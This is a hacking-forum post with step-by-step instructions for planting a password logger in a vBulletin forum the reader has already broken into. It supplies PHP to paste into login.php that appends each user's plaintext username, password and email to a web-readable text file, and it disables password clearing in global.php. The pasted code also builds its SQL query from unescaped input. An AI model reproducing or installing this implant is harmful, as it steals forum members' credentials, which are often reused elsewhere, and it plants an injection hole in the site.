vBulletin Password Logging (plaintext)

Pagini: 1

Moderat de PaiN

GaMa
Administrator
Postari: 205

===============================================
Need: access to the site - ftp, cPanel, PHP Shell etc.
===============================================

1. open global.php which is located in the forum directory and
Look For:

Code:

$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;

change it to:

Code:

//$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;

2. now open login.php which is in the same directory as global.php and
Look For:

Code:

process_new_login

and paste this under it:

Code:

$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
   $lg_password = $vbulletin->GPC["vb_login_password"];
   $lg_file = "./includes/passwords.txt";
   $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
   
   while($row = @mysql_fetch_array($sql_query))
   {
   
      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
      {
         $fp1 = @fopen($lg_file, "a+");
         @fwrite($fp1, $lg_username . ' : ' .  $lg_password." (" . $row["email"] . ")\n");
         @fclose($fp1);
         $f = @file($lg_file);
         $new = array_unique($f);
         $fp = @fopen($lg_file, "w");
         foreach($new as $values)
         {
            @fputs($fp, $values);
         }
         @fclose($fp);
      }
   }

3. wait for a few people to login, then go to:

Code:

http://site.com/forum_directory/includes/password.txt

and you will see their passwords in plaintext.

...

Pagini: 1

Mergi la